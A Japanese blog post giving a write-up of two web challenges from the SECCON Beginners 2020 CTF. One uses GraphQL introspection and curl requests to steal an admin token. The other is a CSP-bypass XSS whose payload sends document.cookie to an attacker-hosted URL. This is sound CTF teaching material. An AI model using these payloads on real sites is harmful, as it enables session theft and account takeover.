2020/5/23 14:00 ~ 2020/5/24 14:00 まで開催された SECCON Beginnersに参加しました。
戦績
新生チーム5minworkersのメンバーとして参加し、結果は3409pts、総合順位19位でした。
大学のCTFチームm1z0r3を卒業して初めて別のチームを組んで参加しました。
メンバーは会社の同期で、経験者未経験者のミックスでした。
Beginner, Easyは未経験者に解いてもらい、余った問題や解かれなかった問題を経験者が埋める作戦でした。
初めて集まったにしてはまずまずの戦績だったのではないかと思っています。
ただpwnが手薄でしたね…個人的にも勉強が足りずまだMalleus CTF Pwnが半分くらいしかできていないのでこれから力をつけていきます。早く人生初のPwn submitをしたい。
個人の成績としてはprofilerの4th blood、Somenの5th bloodを取りました。
いずれもWebの高難易度問題を早いうちに解けました。とりあえずWeb全完に貢献できて良かったですね。
Write up
profiler [web, 301pts]
方針
- GraphQLでIntrospectionを行い、使用可能なクエリを洗い出す
someone
query を実行し、uid=admin
のtokenを盗むUpdateToken
mutation を実行し、自分のtokenを先ほどのものに設定することで、adminになりすます
概要
ユーザ登録をすると、ランダム文字列のtokenが与えられます。
ログインすると、自分のプロフィールメッセージを更新できるフォームとflagを取得するボタンが現れます。
素直にflagを見に行こうとすると「あなたのtokenはadminのものではない」と怒られます。
解き方
プロフィールロード時に /api
にPOSTしています。
このリクエストボディは以下のようになっています。
{"query":"query {
me {
uid
name
profile
}
}"}
このリクエストはGraphQLですね。
他にもプロフィール更新時には以下のようなリクエストが投げられています。
{"query":"mutation {
updateProfile(profile: \"test\", token: \"9bbaf589965a543114e29da346461ffcdeaef9cc25ebf52cf93a6a44c3af1a19\\¥¥\")
}"}
他のクエリがないか探します。
ネットで調べると、デバッグ用にGraphQLの型情報などが取得できるIntrospectionという機能があるようです。
GraphQLで情報取得に使われるのは Query
、更新に使われるのは Mutation
とのことなので、まず Query
一覧を取得するために以下のリクエストを投げます。
'{"query": "query{__type(name: \"Query\"){name fields{name args{name type{name kind}} type{name kind ofType{name kind}}}}}"}'
レスポンスは以下です。
{
"data": {
"__type": {
"fields": [
{
"args": [],
"name": "me",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "User"
}
}
},
{
"args": [
{
"name": "uid",
"type": {
"kind": "NON_NULL",
"name": null
}
}
],
"name": "someone",
"type": {
"kind": "OBJECT",
"name": "User",
"ofType": null
}
},
{
"args": [],
"name": "flag",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String"
}
}
}
],
"name": "Query"
}
}
}
続いて Mutation
の情報を取得します。
'{"query": "query{__type(name: \"Mutation\"){name description fields{name type{name kind ofType{name kind}}}}}"}'
レスポンスは以下です。
{
"data": {
"__type": {
"description": null,
"fields": [
{
"name": "updateProfile",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Boolean"
}
}
},
{
"name": "updateToken",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Boolean"
}
}
}
],
"name": "Mutation"
}
}
}
flag
Queryはそのまま叩いても情報を出してくれません。
ただし、「uid: adminのtokenではない」とするエラーメッセージが鍵となります。
Queryに someone
があるので uid: admin
の token
を見てみましょう。
$ curl https://profiler.quals.beginners.seccon.jp/api -H 'Content-Type: application/json' -d '{"query": "query{someone(uid: \"admin\"){token}}"}'
{"data":{"someone":{"token":"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b"}}}
続いて UpdateToken
Mutationで自分のユーザの token
を変更します。
このリクエストはログイン済みの cookie
が必要です。
リクエストボディは以下のようになります。
'{"query":"mutation {updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")}"}'
レスポンスが以下のようになるはずです
{"data":{"updateToken":true}}
これで自分のtokenがadminのtokenと一致するようになりました。
あとはflag Queryを投げれば完了です。
'{"query":"query {flag}"}'
{"data":{"flag":"ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}"}}
試したこと
生まれて初めてGraphQLを触りました。
最初はJWTのSign keyがtokenの一部になってないかなと試してたりしてました。
まだ UpdateToken
mutationに気付いていない時に「自分のユーザの UpdateProfile
をadminのtokenで行ったらどうなるかな」と試したら問題サーバが500返して壊れちゃいました。すいません。
Somen [Web, 421pts]
方針
- CSPヘッダで
base-uri
が設定されていないことに気づくtitle
タグを閉じてhtmlのインジェクションを行い、base
書き換えを行うことで/security.js
の読み込みを防止する
- CSPヘッダの
script-src 'strict-dynamic'
に気づく#message
のinnerHTML
書き換えの宛先を、自分で挿入したscript#message
に向けさせる
概要
名前を $_GET[username]
に与えるとおすすめの素麺(流し・冷やし)を教えてくれるWebアプリです。
怪しい挙動を確認した場合は /inquiry
にPOSTすると運営が自動でクロールしてくれます。
典型的なXSS問題ですね。
index.php
と、自動クロールの worker.js
が最初に与えられます。worker.js
で走るpuppeteerにflagとなるcookieが仕込まれているので、XSSで window.cookie
が抜き取れたら試合終了です。
<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>
<head>
<title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>
<script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
<script nonce="<?= $nonce ?>">
const choice = l => l[Math.floor(Math.random() * l.length)];
window.onload = () => {
const username = new URL(location).searchParams.get("username");
const adjective = choice(["Nagashi", "Hiyashi"]);
if (username !== null)
document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
}
</script>
</head>
<body>
<h1>Best somen for You</h1>
<p>Please input your name. You can use only alphabets and digits.</p>
<p>This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P</p>
<p id="message"></p>
<form action="/" method="GET">
<input type="text" name="username" place="Your name"></input>
<button type="submit">Ask</button>
</form>
<hr>
<p> If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.</p>
<form action="/inquiry" method="POST">
<input type="text" name="username" place="Your name"></input>
<button type="submit">Ask</button>
</form>
</body>
const puppeteer = require('puppeteer');
/* ... ... */
// initialize
const browser = await puppeteer.launch({
executablePath: 'google-chrome-unstable',
headless: true,
args: [
'--no-sandbox',
'--disable-background-networking',
'--disk-cache-dir=/dev/null',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update',
],
});
const page = await browser.newPage();
// set cookie
await page.setCookie({
name: 'flag',
value: process.env.FLAG,
domain: process.env.DOMAIN,
expires: Date.now() / 1000 + 10,
});
// access
// username is the input value of players
const url = `https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}`;
try {
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 5000,
});
} catch (err) {
console.log(err);
}
// finalize
await page.close();
await browser.close();
/* ... ... */
ただし、CSPが設定されているため、簡単には突破できません。
default-src 'none';
script-src 'nonce-DuuhHj7x4iLfET+TiW4hspkIwz4=' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L
解き方
まずはっきりわかっているのは以下の点です。
default-src 'none'
なのでscript
以外を埋め込むことはできないscript-src
にnonce
とsha256
が含まれているため、どちらかを満たしていないと実行されない- クエリストリングに英数字以外を入れると
/security.js
がリダイレクトを発生させて/error.php
に飛んでしまう
とりあえず CSP Evaluator にかけてみると、 base-uri
属性が設定されていないことに気づきます。base-uri
属性がないことによって /security.js
の読み込み先オリジンが自由に設定される可能性があります。
<title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>
index.php のこの部分に着目すると、 $_GET[username]
に以下のペイロードを仕込むことで base
書き換えが可能になります。
</title><base href="https://{your-url}/" target="_self" /><title>
あとは https://{your-url}/security.js
をホストすることで、integrityチェックには失敗するものの別の /security.js
を読み込むことになり、 error.php
へのリダイレクトが発生しなくなります。
続いて CSP Header の 'strict-dynamic'
に着目します。
すでに base
タグと同じように script
タグを仕込むことは可能ですが、nonceも有効なsha256も持ち合わせいていないため実行されることはありません。
ただし 'strict-dynamic'
によって、「有効なscriptタグ内から生成されたscriptを実行することができる」ようになります。
(参考:https://inside.pixiv.blog/kobo/5137)
ただし、ここで有効になるのは createElement()
などによって挿入された要素に限定され、 document.writeln()
などで挿入された要素は対象ではありません。
(参考:https://w3c.github.io/webappsec-csp/#strict-dynamic-usage のExample24)
したがって、以下の innerHTML
に直接 script
タグを書き込むだけではダメだということになります。
<script nonce="<?= $nonce ?>">
const choice = l => l[Math.floor(Math.random() * l.length)];
window.onload = () => {
const username = new URL(location).searchParams.get("username");
const adjective = choice(["Nagashi", "Hiyashi"]);
if (username !== null)
document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
}
</script>
そこで、 div#message
に script
を書き込むのではなく、 script#message
を手前に書き込んで、それに直接JavaScriptを書き込ませるように上記スクリプトを動作させます。$_GET[username]
の挿入箇所は div#message
より手前なので、 script#message
を仕込んでおくと document.getElementById("message")
で引っかかるのは script#message
になるという寸法です。
(参考:https://szarny.hatenablog.com/entry/2019/01/01/XSS_Challenge_%28%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%BB%E3%83%9F%E3%83%8B%E3%82%AD%E3%83%A3%E3%83%B3%E3%83%97_in_%E5%B2%A1%E5%B1%B1_2018_%E6%BC%94%E7%BF%92%E3%82%B3%E3%83%B3#Case-23-nonce–strict-dynamic)
正直、結局shaもnonceもついてない <script id="message">
自体はベタ書きされているのにこれでどうしてうまくいくのか、細かいメカニズムがわからないので要勉強…
最終的に </title><base ...>
が挿入でき、かつ <script id="message" />
が挿入でき、かつペイロード全体が有効なJavaScriptとして動作するようにペイロードを組み立てます。
/*</title>
<base href="https://{your-url}/" target="_self" />
<script id="message"></script>*/
location.href = 'https://{your-url}/?cookie=' + document.cookie;//<title>
あとはngrokとかでホストして待ち受けるだけ。
ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}
試したこと
絶対できないのに nonce が盗めないか考えてたりしてました。
コメント